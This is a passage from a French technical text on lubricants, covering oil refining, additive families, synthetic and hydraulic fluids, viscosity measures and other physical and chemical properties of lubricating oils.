* paraffiniques (molécules à chaîne droite) : ils sont stables à l'oxydation, peu agressifs pour les élastomères, dotés d'un bon indice de viscosité (variation de viscosité relativement faible avec la température), mais certains constituants cristallisent dès la température ordinaire, * isoparaffiniques (molécules à chaînes ramifiées) : ils résistent bien à l'oxydation, sont peu agressifs pour les élastomères, se comportent mieux à froid que les précédents, mais leur indice de viscosité est plus faible, * naphténiques (chaînes cycliques saturées) : ils sont moins stables à l'oxydation, plus agressifs pour les élastomères, mais possèdent de très bonnes caractéristiques d'écoulement aux basses températures malgré un indice de viscosité plus faible, * aromatiques (chaînes cycliques non saturées) : très oxydables, dotés d'un très mauvais indice de viscosité, leur comportement est catastrophique en lubrification et ils sont éliminés dès le raffinage. Les bases paraffiniques sont généralement préférées mais on utilise les naphténiques pour certaines applications particulières : froid, huiles de coupe ... On sait en outre que l'adsorption d'hydrocarbures diminue d'autant plus le frottement que les chaînes moléculaires sont plus longues. Le traitement des huiles s'opère en plusieurs étapes : * distillation des produits pétroliers d'abord à la pression atmosphérique puis sous vide, * désasphaltage, élimination à l'aide de solvants (butane et propane) de composés contenant du soufre et de l'oxygène et qui servent ensuite à la fabrication de bitumes, * désaromatisation : élimination par un solvant (furfural) des hydrocarbures aromatiques, ce qui améliore la stabilité thermique de l'huile et sa viscosité, * déparaffinage : élimination des hydrocarbures paraffiniques lourds qui se solidifient à température ambiante, à l'aide de solvants (méthyléthylcétone et toluène) pour abaisser le point de congélation de l'huile, * finition par des terres activées qui retiennent certains constituants indésirables, ou de plus en plus par hydrogénation en présence de catalyseurs. === Huiles « compoundées » et additifs === Pendant de nombreuses années les besoins de graissage ont été satisfaits par les huiles minérales pures, surtout après la véritable « révolution » que constituèrent les techniques de raffinage par solvants. On mélangeait des bases fluides et visqueuses en proportions variables pour obtenir des gammes de lubrifiants. Le manque d'onctuosité des hydrocarbures fut bien vite corrigé par addition d'huiles d'origine végétale ou animale. Ces dernières contiennent en effet des acides gras (acides oléique, stéarique, margarique, palmitique ...) dont les molécules polaires sont capables de se fixer très fortement sur les surfaces métalliques par adsorption chimique, grâce à leur radical COOH. Les surfaces sont ainsi recouvertes d'une sorte de « velours ». Dans certains cas il y a même attaque avec formation de savons insolubles accrochés solidement à la surface. Ce « compoundage » ne visait qu'à améliorer une propriété particulière, l'onctuosité, par des produits que l'on peut considérer comme les premiers additifs. Aujourd'hui, l'industrie chimique produit toute une série de composés complexes dont l'apparition dans les huiles a constitué une seconde révolution. Si dans les premiers temps la proportion d'additifs ne dépassait pas 3 à 5 %, il est aujourd'hui courant d'en trouver de 25 à 30 % ... La plupart des mécanismes modernes ne peuvent fonctionner que grâce à des lubrifiants hautement spécialisés, sans lesquels les progrès que nous connaissons n'auraient pas été possibles. Le terme de dopes désigne des produits qui forment in situ avec les métaux des composés ioniques que le frottement consomme par action mécanique. Si tous les dopes sont des additifs, en revanche tous les additifs ne sont pas des dopes. Le terme de dopage a d'ailleurs pris un sens péjoratif et n'est plus adéquat : les lubrifiants dopés ne sont pas améliorés temporairement comme certaines performances sportives, mais pour toute leur durée de vie, c'est-à-dire le temps qui s'écoule entre deux vidanges. On distingue les additifs lyophiliques et les additifs lyophobiques. Les premiers ont une affinité avec le solvant, qui est la base lubrifiante. Ils sont constitués de particules colloïdales de dimensions inférieures au micromètre : additifs de viscosité, polyméthacrylates, acides gras, savons, additifs antiusure. Les seconds n'ont pas d'affinité avec le solvant dans lequel ils restent en suspension : graphite, MoS<sub>2</sub>, PTFE micronisé, bentonite ... * '''additifs détergents''' (utilisés à raison de 3 à 15 %) : les premières huiles détergentes furent introduites en Europe par les armées alliées en 1944. L'un des premiers produits utilisés a été le naphténate d'aluminium, qui fut suivi par beaucoup d'autres. Les additifs détergents ont pour principal effet de maintenir en suspension dans l'huile les boues et particules charbonneuses afin d'éviter qu'elles se déposent et « gomment » les pièces, surtout à haute température, par exemple, les gorges de segments dans les moteurs thermiques. * '''additifs dispersants''' (de 3 à 15 %) : contrairement aux précédents, ils agissent essentiellement à basse température en retardant la formation de dépôt ou de boues (le sludge en anglais). Ce sont surtout des sels organiques, phénates, salycilates ou sulfonates de métaux alcalinoterreux : calcium, baryum, magnésium. * '''additifs abaissant le point de congélation''' (jusqu'à 0,5 %) : on les appelait autrefois inhibiteurs de figeage. Les méthylacrylates et les acrylates améliorent le comportement à froid des huiles paraffiniques. Grâce à leur structure fibreuse, ils forment sur les microcristaux de paraffines un film très mince qui évite leur grossissement et leur agglomération. Il existe une concentration optimale de l'ordre de 0,25 % au-delà de laquelle le point de congélation ne s'abaisse plus. * '''additifs de viscosité''' (de 5 à 10 %) : La viscosité des huiles diminue beaucoup lorsque la température augmente et l'on a cherché à corriger ce défaut. Si l'huile ne doit pas être trop visqueuse à froid pour faciliter le démarrage, elle ne doit pas non plus être trop fluide à chaud pour conserver une solidité raisonnable aux films lubrifiants. On utilise un faible pourcentage de produits de masse moléculaire élevée (10 à 20 000), du genre polybutènes, polyméthacrylates, polyacrylates, polymères d'oléfines, qui tendent à limiter la liberté de mouvement des molécules de la base, et ce d'autant plus que la température est plus élevée. * '''additifs d'onctuosité, de frottement, d'adhésivité''' (proportions très variables) : ils augmentent l'adhérence du film d'huile pour en prévenir la rupture et sont donc très intéressants pour le glissement à faible vitesse sous forte charge. Ils diminuent la tendance au stick-slip dans les glissières. Beaucoup d'huiles ou de graisses contiennent des savons, comme le naphténate de plomb qui convient bien aux couples roues et vis sans fin. Dans l'ordre d'efficacité croissante, on trouve diverses familles de composés polaires : esters gras naturels ou synthétiques, amines grasses, glyacides, alcools gras, acides gras de C<sub>12</sub> à C<sub>18</sub>. * '''additifs antiusure''' (1 %) : utiles surtout aux basses températures, ils s'accrochent aux surfaces par des liaisons chimiques et forment des film épais et plastiques qui répartissent les contraintes et réduisent l'usure. Leurs propriétés dépendent du substrat et des autres additifs qui inhibent parfois leur action, en particulier les détergents qui entrent en compétition avec eux pour se fixer sur les surfaces. Des additifs classiques sont le dithiophosphate de zinc, le tributylphosphate et le tricrésylphosphate, le dithiocarbonate de zinc, qui conviennent bien aux engrenages cylindriques et coniques moyennement chargés. On utilise aussi des composés organométalliques du plomb. L'usure du lubrifiant correspond à la disparition progressive de l'additif transformé en divers produits de dégradation. Lorsqu'il a entièrement disparu, le coefficient de frottement et l'usure augmentent brutalement. * '''additifs extrême pression''' (de 1 à 10 %) : comme les précédents, ils forment des films protecteurs contre le grippage par interaction avec le métal de base mais leur activité se manifeste surtout aux températures de surface élevées. Citons le bisulfure de dibenzyle, les terpènes soufrés et divers corps gras sulfurés. Les paraffines chlorées, plus ou moins abandonnées pour les huiles de graissage sont encore utilisées dans les huiles de coupe. Ces additifs sont devenus indispensables pour les engrenages lourdement chargés et surtout pour les ponts hypoïdes où un glissement important se conjugue à des charges très fortes. Ils manifestent presque tous une activité chimique importante et modifient les surfaces sur lesquelles ils constituent des sels lubrifiants, sulfures, phosphures ou chlorures. Ils sont en général corrosifs pour les métaux non ferreux et sont donc à utiliser avec prudence. * '''additifs antioxydation''' (1 % environ) : les huiles s'oxydent en formant divers produits, résines, polymères divers ... qui se déposent sous forme des boues ou des vernis acides. Les additifs antioxydants, phénols, amines, composés sulfurés ou phosphosulfurés, ajoutés en faible quantité, limitent cet effet tout en protégeant les pièces contre la corrosion. * '''additifs antimousse''' (10 ppm) : ils empêchent la formation de mousses stables en brisant les bulles qui surviennent par exemple lors du retour à la pression atmosphérique du fluide d'une installation de transmission de puissance hydraulique. * '''additifs anticorrosion et antirouille''' (1 %) : ils constituent des couches adsorbées étanches aux produits corrosifs, ce sont surtout des savons d'amines, des sulfonates, naphténates ... Attention aux incompatibilités entre les additifs antiusure, extrême pression et antirouille, qui entrent tous en compétition pour l'adsorption sur les métaux. * '''passivants''' : ils stoppent l'effet catalytique des métaux sur l'oxydation et la corrosion. * '''additifs émulsifiants''' (proportions variables) : ils rendent l'huile minérale miscible à l'eau et sont utiles non seulement pour les fluides de coupe, mais également en mécanique générale s'il y a un risque de condensation. * '''antiseptiques''' : ils sont surtout employés pour les huiles de coupe et autres émulsions qui ont une fâcheuse tendance à fermenter et à devenir nauséabondes, voire dangereuses en cas de blessures souillées. == Huiles synthétiques == Elles sont constituées à partir de bases synthétiques de diverses sortes : * '''esters aliphatiques''' : ils ont un index de viscosité élevé et sont moins volatils que les bases minérales. Leur structure polaire diminue le frottement statique et le stick-slip. Ils se décomposent à 300 °C, plus vite que les bases minérales. * '''esters phosphorique'''s : souvent utilisés comme additifs antiusure, ils ont un très haut indice de viscosité et sont ininflammables. * '''silicones et silicates''' : ils ont un excellent index de viscosité, un point d'écoulement très bas et une faible tension superficielle mais leur pouvoir lubrifiant est faible. Cependant, leur très bonne stabilité thermique en fait des lubrifiants intéressants pour les grands froids et les températures très élevées. * '''polyphényléthers''' : ils ont une excellente résistance à l'oxydation, une très bonne stabilité thermique jusqu'à 450 °C, un bon pouvoir lubrifiant, mais ils sont '''très chers'''. * '''polyalkylèneglycols''', essentiellement polypropylènes glycols : leur index de viscosité est très élevé, ils sont insensibles au cisaillement et dotés d'un très bas point d'écoulement, de bonnes propriétés antiusure, d'une grande stabilité thermique mais d'une faible résistance à l'oxydation. Comme ils ne sont pas miscibles aux bases minérales, on doit les utiliser purs. Ils sont fabriqués dans une large gamme de viscosités. * '''polyoléfines''' : elles ont un très bon indice de viscosité, un bas point d'écoulement mais elles sont volatiles et il faut généralement les utiliser en mélange. * '''polyalphaoléfines''' (PAO, spécialité MOBIL.) : très faible viscosité à froid, très bonne résistance à l'oxydation, durée de vie parfois multipliée par 3 ou 4 par rapport aux produits classiques. Les lubrifiants synthétiques ne représentent aujourd'hui qu'un faible pourcentage du marché total de la lubrification, mais cette proportion augmente. == Fluides hydrauliques == Si elle ne présentait pas de graves inconvénients pour le fonctionnement des machines, l'eau serait le fluide hydraulique idéal en raison de sa très faible compressibilité, de son ininflammabilité et, naturellement, de son coût de revient négligeable. On distingue : * Les fluides hydrauliques à base d'huiles minérales, pures ou avec des additifs, * Les fluides de synthèse, * Les fluides ininflammables qui peuvent être ** des émulsions d'huile dans l'eau, ** des émulsions d'eau dans l'huile, ** des solutions aqueuses, ** des produits synthétiques non aqueux. Les fluides hydrauliques communément utilisés dans les automobiles sont essentiellement des huiles minérales additivées et des huiles de synthèse. On en compte quatre catégories principales : * Les fluides pour boîtes de vitesses automatiques, * Les liquides de freins * Les liquides à fonctions multiples utilisés pour les suspensions, les directions assistées et autres commandes asservies, * Les liquides pour transmissions hydrauliques, notamment celles qui comportent des freins immergés. Les fluides hydrauliques industriels ont de multiples applications, notamment : * Les commandes de relevage hydrostatiques des engins de chantier, * Les transmissions hydrostatiques de certains véhicules et engins, * Les commandes de machines-outils, * Les commandes et télécommandes de vannes, * Des applications diverses dans tous les domaines, entre autres dans celui de la sécurité où le caractère ininflammable est particulièrement recherché. Ces huiles sont utilisées pures ou avec des additifs == Fluides pour le travail des métaux == Ils interviennent comme lubrifiants dans de très nombreux processus et on a coutume de les répartir en cinq grandes catégories, qui sont : * Les huiles et les fluides à base d'huile, * Des émulsions aqueuses et des dispersions * Des solutions chimiques, vraies ou colloïdales, parfois appelées fluides synthétiques * Des lubrifiants solides, qui sont étudiés dans le chapitre approprié, * Des produits divers. == Propriétés des huiles == === Propriétés physiques === ==== densité ==== Elle se mesure à 15 °C par rapport à l'eau à 4 °C, à l'aide d'un densimètre plongeant dans un tube à essais. Les valeurs courantes pour les huiles de pétrole s'étagent entre 0,85 et 0,95 et dépendent de l'origine des produits. La densité diminue avec la température selon des lois complexes mais en première approximation on peut la diminuer de 0,00062 par kelvin. Certains lubrifiants synthétiques ont des densités bien plus élevées, jusqu'à 1,5. La comparaison de la densité d'une huile usagée avec celle de l'huile neuve permet de détecter d'éventuelles pollutions. ==== couleur ==== Pour les huiles de pétrole, elle varie généralement du blanc pur au rouge foncé en passant par le jaune citron et le jaune orange, on l'évalue par comparaison avec des verres étalons numérotés en colorations N.P.A. (National Petroleum Association). La couleur foncée d'un lubrifiant usagé peut être un assez bon moyen d'apprécier son altération, de même qu'un aspect laiteux peut indiquer la présence d'eau. La présence d'additifs oblige à la prudence et cette propriété a beaucoup perdu de son intérêt aujourd'hui. ==== chaleur massique ==== Elle s'exprime en joules par kilogramme.kelvin (J/kg.K). Elle augmente avec la température, d'environ 20 % pour 100 °C, et diminue avec la densité. Aux environs de 100 °C, on peut prendre comme base 2 kJ/kg.K. ==== conductivité thermique ==== Elle définit le flux thermique passant à travers un corps sous l'effet d'un gradient thermique. On peut prendre comme valeur moyenne pour les huiles minérales 0,14 W/m.K. ==== viscosité ==== C'est une des propriétés capitales des huiles de graissage, qui conditionne leur emploi dans la majorité des cas. Plus grande est la viscosité d'un liquide, plus grande est la durée de son écoulement, par exemple, dans un entonnoir. La notion de viscosité implique donc celle de mouvement. En fait, on peut dire que la viscosité est la résistance qu'oppose un fluide au glissement de ses molécules les unes sur les autres. Considérons deux surfaces planes parallèles d'aire S, l'une fixe, l'autre se déplaçant à la vitesse V, sous l'effet d'une force F, à la distance constante z de la première. Les deux plaques sont séparées par une lame liquide qui oppose une résistance au déplacement de ses molécules. La relation entre F et S n'est pas autre chose qu'une contrainte de cisaillement c = F/S. La notion de viscosité fait également appel à celle d'écoulement laminaire. Tout se passe comme si le fluide s'écoulait comme le feraient les cartes d'un jeu ou les feuilles d'une ramette de papier. Dans ces conditions, on s'aperçoit que la répartition des vitesses dans la veine fluide suit une loi linéaire. Si deux couches de fluide distantes de la quantité dz ont pour vitesses respectivement v et v+dv, il existe entre elles un gradient de vitesse dv/dz. Pour les liquides dits newtoniens la contrainte de cisaillement est proportionnelle au gradient de vitesse, ce qui est le cas de la grande majorité des huiles de graissage, sauf au voisinage de leur point d'écoulement. F/S = μ dv/dz μ est, à une température et une pression données, une constante que l'on appelle coefficient ou module de viscosité dynamique, ou plus simplement '''viscosité dynamique'''. Cette grandeur a pour dimension M.L<sup>-1</sup>.T<sup>-1</sup>. Comme nous le verrons plus loin, il existe une autre sorte de viscosité. L'unité correspondante est le pascal.seconde (Pa.s), défini comme la viscosité dynamique d'un fluide dans lequel le mouvement rectiligne et uniforme, dans son plan, d'une surface plane, solide, indéfinie, donne lieu à une force retardatrice de 1 newton par mètre carré de la surface en contact avec le fluide homogène et isotherme en écoulement relatif devenu permanent, lorsque le gradient de la vitesse du fluide, à la surface du solide et par mètre d'écartement normal à ladite surface, est de 1 mètre par seconde. Le pascal.seconde s'appelait auparavant poiseuille (Pl), du nom du médecin [[w:Jean-Louis-Marie Poiseuille|Jean-Louis-Marie Poiseuille]]. On le trouve encore dans la littérature, de même que la poise (Po) et la centipoise (cPo) issus du système C.G.S.. Il faut retenir que : 1 Pa.s = 1 Pl = 10 Po = 1 000 cPo La viscosité dynamique ne tient pas compte de la masse volumique des fluides. Ainsi, de deux fluides de même viscosité dynamique s'écoulant dans les mêmes conditions sous l'effet de leur poids, le plus dense s'écoulera plus rapidement. L'unité de '''viscosité cinématique''', le mètre carré par seconde (m<sup>2</sup>/s), est définie comme étant celle d'un fluide dont la viscosité dynamique est 1 pascal.seconde et la masse volumique 1 kilogramme par mètre cube. Il s'ensuit que la viscosité cinématique est égale au rapport de la viscosité dynamique à la masse volumique, toutes deux définies à la même température. ν étant la viscosité cinématique et ρ la masse volumique, alors : ν = μ / ρ L'unité C.G.S. était le stokes (St) ou cm<sup>2</sup>/s. On utilisait plus fréquemment le centistokes (cSt) qui n'est autre que le mm<sup>2</sup>/s. 1cSt = 10<sup>-6</sup> m<sup>2</sup>/s = 1 mm<sup>2</sup>/s Les '''viscosimètres empiriques''', plus ou moins abandonnés, étaient des réservoirs percés d'un trou de petit diamètre. La durée d'écoulement d'un volume normalisé d'huile était prise comme telle ou rapportée à un temps de référence. Ceci donnait une évaluation relative de la viscosité cinématique, l'écoulement étant provoqué par la pesanteur. Un des appareils courants en Europe est le viscosimètre Engler. La viscosité en degrés Engler était le quotient du temps d'écoulement de 20 cm<sup>3</sup> d'huile à la température fixée, par le temps d'écoulement, déterminé une fois pour toutes, de 200 cm<sup>3</sup> d'eau à 20 °C. Le temps était pris directement comme mesure dans le viscosimètre anglais Redwood et dans le viscosimètre américain Saybolt, tous deux de même type que le viscosimètre Engler. Un [[w:abaque (calcul)|abaque]] permet la conversion des degrés Engler, ou des secondes Redwood, ou des secondes Saybolt, en mm<sup>2</sup>/s. Les viscosimètres modernes, dits viscosimètres absolus, sont constitués de tubes capillaires parfaitement calibrés, dans lesquels on fait couler l'huile à une certaine température, sous une dépression constante ou par gravité, un étalonnage étant réalisé à l'aide de fluides de référence de viscosité connue. Dans le premier cas, on mesure la durée de remplissage d'une capacité de faible volume surmontant le capillaire que l'huile traverse de bas en haut, ce qui permet d'accéder directement à la viscosité dynamique. Dans le second, la même capacité étant remplie par aspiration, on la laisse se vider à travers le capillaire, ce qui est plus simple et plus rapide, mais ne donne que la viscosité cinématique. Il existe bien d'autres systèmes : les viscosimètres à chute de bille, à cônes, etc. La viscosité varie avec la température selon une loi exponentielle. La formule donnée par Mac Coull et Walther en 1935 s'applique au comportement newtonien : lg lg ( ν + 0,6 ) = n - m lg T ν étant la viscosité cinématique en cSt ou mm<sup>2</sup>/s et T la température absolue en kelvins. Sur le diagramme A.S.T.M. (American Society for Testing and Materials) qui en est déduit, la variation de viscosité d'une huile est représentée par une droite dont il suffit de connaître deux points (assez éloignés toutefois du point de congélation et aussi l'un de l'autre, pour que la précision soit suffisante). Une fois cette droite tracée, on peut connaître la viscosité à toutes les températures avec une très bonne approximation. ==== index (ou indice) de viscosité ==== La notion de Viscosity Index (V.I.) a été introduite en 1935 par Dean et Davis pour permettre de juger rapidement la courbe de viscosité d'une huile et sa tenue à froid et à chaud. On considère deux gammes d'huiles, l'une paraffinique à faible variation de viscosité, à laquelle on affecte l'indice 100, l'autre asphaltique à forte variation, avec par définition l'indice 0. Ces deux gammes correspondaient à l'époque aux produits à caractéristiques extrêmes parmi les distillats pétroliers connus et provenaient respectivement de Pennsylvanie et du Texas. Soit une huile à étudier dont la viscosité est U à 40 °C et V à 100 °C. Dans chaque série de référence il existe une huile de viscosité V à 100 °C. Celle d'indice 100 a une viscosité L à 40 °C et celle d'indice 0 une viscosité H à cette température. L'index de viscosité est donné par : VI = 100. (H-U)/(H-L) Les progrès du raffinage, ainsi que l'invention de lubrifiants synthétiques et d'additifs stabilisateurs de viscosité, ont permis d'obtenir des lubrifiants de viscosité plus stable que la meilleure huile de pétrole connue, atteignant des index de 130, 150, voire 200. On emploie alors une autre formule qui fait intervenir des coefficients de correction tenant compte de la viscosité. L'A.S.T.M. a publié des tables permettant la lecture directe de l'index de 100 à 200 lorsque l'on connaît les viscosités à 40 °C et à 100 °C. Il existe également un abaque permettant, par un simple rappel de droites, de déterminer l''''index de viscosité élargi''' (VIE) de 100 à 300, toujours en partant des mêmes viscosités à 40 °C et 100 °C. ==== compressibilité ==== Le module de compressibilité est de l'ordre de 6.10<sup>5</sup> en régime isotherme, par conséquent la diminution de volume est d'environ 2 % à 350 bars et 4 % à 700 bars. Les huiles sont d'autant moins compressibles que la pression est plus forte, la viscosité plus faible et la température plus basse. ==== coefficient de viscosité-pression ==== Si la pression croît, la mobilité des molécules diminue et la viscosité augmente selon une loi exponentielle. Pour une huile minérale classique, la viscosité à 350 bars est grosso modo deux fois plus forte qu'à la pression atmosphérique, ce qui équivaut à une baisse de température de 10 à 15 °C. Le tableau ci-dessous donne une idée des variations relatives de viscosité de l'eau et d'une huile courante à 20 °C : {| style="border:1px solid darkgray" cellpadding="3" cellspacing="3" align="center" |+ '''Viscosité de l'eau et de l'huile |- align=center | Pression<br /> <small>(bars)</small> || Viscosité<br /> de l'eau || Viscosité<br /> de l'huile |- align=right | 1 || 1 || 1 |- align=right | 1 000 || 1, 08 || 4,3 |- align=right | 2 000 || 1, 16 || 15 |- align=right | 4 000 || 1, 36 || 110 |} Dans le cas de contacts localisés en mouvement sous très fortes charges, comme dans les engrenages, il faut tenir compte d'une part de l'accroissement de la viscosité sous l'effet de la pression, d'autre part de la déformation élastique des pièces dans la zone chargée. Ce calcul, possible grâce à la théorie de la lubrification élastohydrodynamique de Grubin, sort du cadre de cet exposé. ==== point d'écoulement ==== Suffisamment refroidies, toutes les huiles minérales s'épaississent jusqu'à prendre l'apparence de solides plus ou moins rigides. Il ne s'agit pas d'une congélation, laquelle n'a de sens que pour un corps pur passant de l'état liquide à l'état solide à température constante : on le sait, les huiles de graissage sont des mélanges. En fait, les hydrocarbures paraffiniques les plus lourds floculent les premiers en donnant à l'huile un aspect trouble. La multiplication des cristaux se poursuivant, ces derniers finissent par s'agglomérer en un réseau enfermant les fractions encore liquides. Une norme précise la procédure complexe qui permet de déterminer la température à laquelle une huile cesse de couler et de se laisser pomper dans un circuit de graissage. Il est difficile d'obtenir une grande précision et la norme admet un écart de reproductibilité de 6 °C. En pratique, la notion de point d'écoulement est très insuffisante pour évaluer les performances d'une huile à froid, il vaut mieux définir et mesurer la viscosité au-delà de laquelle le pompage est impossible. Le viscosimètre Brookfield mesure à cet effet le couple résistant d'une palette tournant dans l'huile. ==== température de floculation ==== Elle vaut pour les machines frigorifiques. Le fréon entraîne de l'huile dans les circuits de réfrigération et on cherche à mesurer la température à partir de laquelle survient une précipitation de cristaux capables de boucher les conduites. Il n'y a pas de relation entre le point de floculation au fréon et le point d'écoulement d'une huile, le second se trouvant bien audessus du premier car la présence de fréon abaisse d'environ 30 °C le début de la formation des cristaux. ==== rigidité électrique ==== On s'en sert dans le cas des huiles isolantes. La présence d'impuretés, particulièrement une teneur en eau même très faible, en diminue la valeur. ==== résistivité ==== On peut admettre pour les huiles minérales une valeur de l'ordre de 10<sup>9</sup> ohms.cm. ==== tension de vapeur ==== À la pression atmosphérique, la température initiale de distillation des huiles avoisine 360 °C. La tension de vapeur à la température ambiante est donc très faible, de l'ordre de 1,3 10<sup>-7</sup>bar. Certains fluides synthétiques ont une tension de vapeur encore plus faible qui les fait apprécier pour les usages à très faible pression ou dans le vide. ==== tension superficielle et onctuosité ==== Cette tension est due aux forces d'attraction intermoléculaire et se manifeste en particulier au contact d'une paroi solide. Si celle-ci n'est pas mouillée, alors l'attraction au sein des molécules liquides prévaut sur leur affinité avec le solide ; dans le cas contraire, on peut dire que la paroi attire de préférence les éléments contigus qui viendront se coller en formant un ménisque. Le tensiomètre Lcomte de Nouy mesure l'effort d'arrachement d'un anneau horizontal en platine suspendu par des fils au plateau d'une balance de torsion. Il est également possible de faire des mesures dans des tubes capillaires en utilisant la loi de Jurin. Les huiles minérales ont des tensions superficielles inférieures de moitié à celle de l'eau. Notons que toute pollution, même faible, peut modifier radicalement les valeurs trouvées. Ceci éclaire d'un jour nouveau le terme général d'onctuosité, qui englobe un ensemble de phénomènes de capillarité, de tension superficielle, d'adsorption, de polarisation moléculaire, tout cet ensemble représentant en fait les propriétés de contact et d'adhérence avec la matière au niveau d'une épilame moléculaire. Les nombreuses formules proposées pour chiffrer l'onctuosité sont sans fondement et vite en défaut. '''On fera d'énormes progrès en lubrification le jour où l'on saura chiffrer l'onctuosité !''' ==== désémulsibilité ==== En versant doucement de l'eau et de l'huile minérale pure dans un récipient, on observe une superposition des deux liquides, l'huile surnage. Si on agite violemment, l'ensemble prend un aspect trouble car le brassage a fractionné les deux liquides en minuscules gouttelettes dont la décantation peut ne progresser que très lentement. Dans certains cas l'émulsion prend même un caractère permanent, comme pour le lait qui est constitué de corps gras en suspension dans une solution saline. L'aptitude d'une huile à se séparer rapidement de l'eau peut avoir des avantages et cela justifie que l'on fasse des essais. Pour les huiles destinées aux turbines, on considère qu'une décantation totale en 30 minutes est un bon résultat. ==== désaération ==== La solubilité d'un gaz dans un liquide est proportionnelle à la pression relative de ce gaz, selon la loi de Henry. Sous la pression atmosphérique et à température ambiante, les huiles dissolvent au maximum 8 % de leur volume d'air, ce qui est sans conséquences sur leurs propriétés mécaniques. Une huile entraînant de l'air est une phase continue dans laquelle les bulles représentent une phase discontinue. Cet air produit des effets indésirables : cavitation, fonctionnement imprécis des systèmes hydrauliques, altération rapide de l'huile. Une compression adiabatique de 1 à 300 bars fait monter la température des bulles de 700 °C et des étincelles peuvent apparaître : c'est l'effet Lohrentz, analogue à l'allumage dans un moteur diesel. Il vaut donc mieux que la mousse disparaisse rapidement. ==== point d'aniline ==== C'est la température à laquelle une solution à parts égales d'aniline et d'huile se trouble en se refroidissant. Cette température permet dans une large mesure de prévoir le comportement de l'huile avec les élastomères qui pourront venir à son contact. Avec un point d'aniline bas, les joints auront tendance à gonfler. S'il est élevé, au contraire, ils seront contractés et durcis. Évidemment rien ne vaut un essai en vraie grandeur ... Les élastomères fluorés ont dans l'ensemble un très bon comportement avec les hydrocarbures classiques, celui des caoutchoucs nitriles dépend beaucoup de la température. === Propriétés chimiques === ==== combustibilité, point d'éclair, point de feu ==== À partir d'une certaine température, les constituants volatils de l'huile peuvent brûler au contact d'une flamme : c'est le point éclair. Si on chauffe davantage, il arrive un moment où la combustion devient permanente : c'est le point de feu. Ces deux températures sont très variables avec les paramètres locaux et en particulier avec la présence d'eau en suspension dans l'huile. Leur mesure fait l'objet de normes. À partir du point d'éclair Cleveland, il est possible de déduire le point de feu Cleveland avec une assez bonne précision. Quand une huile est portée à son point d'éclair, sa tension de vapeur est de l'ordre de 13 millibars. ==== température d'autoinflammation ==== C'est la température à partir de laquelle se produit une oxydation spontanée dans l'air (environ 400 °C). Cette température est nettement supérieure à celle du point d'éclair. ==== indices de neutralisation ==== L''''indice d'acide''' correspond au nombre de milligrammes de potasse nécessaires pour neutraliser un gramme d'huile. Des corps très différents peuvent en effet acidifier les huiles : acides résiduaires après la distillation, acides gras ajoutés volontairement dans les huiles compoundées, composés oxydés désignés sous le nom d'acides du pétrole, polluants acides. Selon les additifs, un indice d'acide élevé n'est pas forcément un signe de mauvaise qualité. Dans la plupart des cas, l'indice d'acide croît lentement avec le temps de service et peut être un bon indicateur pour procéder au remplacement du lubrifiant. Un accroissement anormalement rapide est le signe d'un problème de lubrification. L''''indice d'alcalinité''' est l'équivalent du précédent. Il représente le nombre de milligrammes de potasse qui neutralisent autant d'acide chlorhydrique qu'un gramme de l'huile essayée. Il s'applique par exemple à des huiles très chargées en additifs détergents, comme celles qui servent pour les moteurs diesel brûlant des combustibles à haute teneur en soufre. Sans cela, les gaz brûlés provoqueraient la formation d'acide sulfurique et la corrosion des organes du moteur. Certains additifs, les détergents en particulier, réagissent aussi bien sur les bases fortes que sur les acides forts. Les huiles qui en contiennent beaucoup possèdent très normalement un indice d'acide et un indice d'alcalinité, le second étant généralement supérieur au premier. ==== détergence, dispersivité ==== Cela concerne surtout les huiles pour moteurs. Il faut éliminer les résidus de combustion qui se condensent à basse température et les produits de la dégradation de l'huile à haute température. La détergence et la dispersivité constituent en fait un ensemble de propriétés physicochimiques particulièrement difficiles à évaluer. ==== teneur en cendres ==== On compare le résidu de la calcination de l'huile à la masse initiale. Pour une bonne huile minérale pure, on trouve en général une teneur en cendres de 0,001 à 0,05 %. Cette teneur peut être beaucoup plus élevée, et sa mesure compliquée, si l'huile contient des additifs organométalliques ou autres. Une teneur en cendres élevée pose des problèmes dans les moteurs thermiques modernes car les résidus de combustion de l'huile tendent à se déposer dans les filtres à particules. ==== résidu Conradson ==== Il correspond au résultat d'un essai très particulier, réalisé dans un appareil constitué de trois creusets placés l'un dans l'autre sur un support muni d'une hotte amovible. Le creuset intérieur contient dix grammes d'huile séchée. La flamme est d'abord réglée pour que l'émission par la cheminée de la hotte ne débute qu'une dizaine de minutes après le début de l'essai. On enflamme ces vapeurs à l'aide du brûleur. Quand cette combustion a cessé, on chauffe jusqu'à porter au rouge le fond du creuset extérieur, pendant exactement 7 minutes. L'essai dure au total 30 minutes. Il ne s'agit pas, comme le laisse croire l'expression erronnée « teneur en carbone » employée parfois, d'une mesure indirecte de la proportion de carbone dans les molécules du lubrifiant, mais d'un dépôt par volatilisation et pyrolyse en atmosphère confinée. Cet essai ne renseigne pas vraiment sur la tendance de l'huile à former des dépôts, mais permet des vérifications de conformité. ==== indice de saponification ==== Il exprime le nombre de milligrammes de potasse nécessaires pour saponifier un gramme de l'huile essayée, ce qui permet de mesurer la proportion d'huiles végétales ou animales incorporées à la fabrication, sous réserve d'en connaître la nature. La présence d'additifs peut modifier le résultat. ==== indice d'iode et indice de brome ==== Ces halogènes saturent les doubles liaisons des corps organiques insaturés, ce qui permet d'en connaître la teneur. ==== teneur en soufre ==== Il n'y a normalement plus de soufre libre dans les lubrifiants après le raffinage mais on en trouve souvent à l'état combiné dans des composés comme les mercaptans. On ajoute parfois du « soufre actif » sous forme d'additifs améliorant les propriétés antisoudure ou antigrippage. Si l'huile se décompose, et selon que l'on se trouve en milieu réducteur ou oxydant, on peut assister à un dégagement toujours malvenu de sulfure d'hydrogène ou de dioxyde de soufre. ==== teneur en eau ==== L'eau est l'un des principaux ennemis des lubrifiants. Dans les environnements humides, lorsqu'unlubrifiant reçoit de l'eau directement ou par condensation de vapeur, ses performances sont en général fortement diminuées. La sensibilité à l'eau est très variable selon le produit utilisé, relativement faible pour les glycols, beaucoup plus élevée pour les oléfines. Une teneur en eau trop élevée est un sérieux signal d'alerte avant une prochaine défaillance du mécanisme concerné. == Analyse et contrôle des lubrifiants == La dégradation des lubrifiants est essentiellement due à l'oxydation, qui augmente si la température s'élève et si l'aération est exagérée. La contamination est provoquée par des débris d'usure, des particules solides, de l'eau ou d'autres fluides provenant de l'extérieur ... On étudie d'abord la contamination. === La ferrographie === La ferrographie permet de suivre l'usure des pièces mobiles d'une machine, en observant les dimensions, la forme, la concentration et la nature des particules métalliques entraînées par l'huile. Pendant le rodage, la quantité de débris est d'abord très importante, puis elle diminue rapidement. En marche normale, l'usure 